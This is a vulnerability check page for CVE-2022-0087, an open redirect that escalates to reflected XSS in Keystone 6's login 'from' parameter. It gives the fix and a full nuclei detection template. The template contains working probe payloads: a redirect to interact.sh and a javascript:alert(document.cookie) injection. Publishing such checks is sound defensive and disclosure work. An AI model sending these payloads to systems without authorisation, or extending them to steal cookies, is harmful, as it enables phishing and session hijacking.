Keystone 6 Login Page - Open Redirect and Cross-Site Scripting

mediumseverity

6.1CVSS score

2.8%likelihood of exploitation, next 30 days

86%of all CVEs are less likely

Readycheck to confirm it

On the login page, there is a "from=" parameter in URL which is vulnerable to open redirect and can be escalated to reflected XSS.

Impact

Attackers can redirect users to malicious websites or inject malicious JavaScript via the from parameter, potentially facilitating phishing attacks or stealing user credentials.

Fix

Please upgrade to @keystone-6/auth >= 1.0.2, where this vulnerability has been closed. If you are using @keystone-next/auth, we strongly recommend you upgrade to @keystone-6

How to confirm it

Send: GET {{BaseURL}}/signin?from=https://interact.sh ; GET {{BaseURL}}/signin?from=javascript:alert(document.cookie)
Positive when: contains in header "Location: https://interact.sh" AND contains "alert(document.cookie)"

Run it with nuclei: nuclei -id CVE-2022-0087 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2022-0087

info:
  name: Keystone 6 Login Page - Open Redirect and Cross-Site Scripting
  author: ShivanshKhari
  severity: medium
  description: |
    On the login page, there is a "from=" parameter in URL which is vulnerable to open redirect and can be escalated to reflected XSS.
  impact: |
    Attackers can redirect users to malicious websites or inject malicious JavaScript via the from parameter, potentially facilitating phishing attacks or stealing user credentials.
  remediation: |
    Please upgrade to @keystone-6/auth >= 1.0.2, where this vulnerability has been closed. If you are using @keystone-next/auth, we strongly recommend you upgrade to @keystone-6
  reference:
    - https://huntr.com/bounties/c9d7374f-2cb9-4bac-9c90-a965942f413e
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0087
    - https://github.com/keystonejs/keystone/commit/96bf833a23b1a0a5d365cf394467a943cc481b38
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0087
    cwe-id: CWE-79
    epss-score: 0.0275
    epss-percentile: 0.8633
    cpe: cpe:2.3:a:keystonejs:keystone:*:*:*:*:*:node.js:*:*
  metadata:
    max-request: 2
    vendor: keystonejs
    product: keystone
    framework: node.js
  tags: cve,cve2022,keystone,redirect,xss,node.js,keystonejs,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/signin?from=https://interact.sh"
      - "{{BaseURL}}/signin?from=javascript:alert(document.cookie)"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "Location: https://interact.sh"

      - type: word
        part: body
        words:
          - "alert(document.cookie)"

References

Use this check only on systems you are authorised to test. Where the data comes from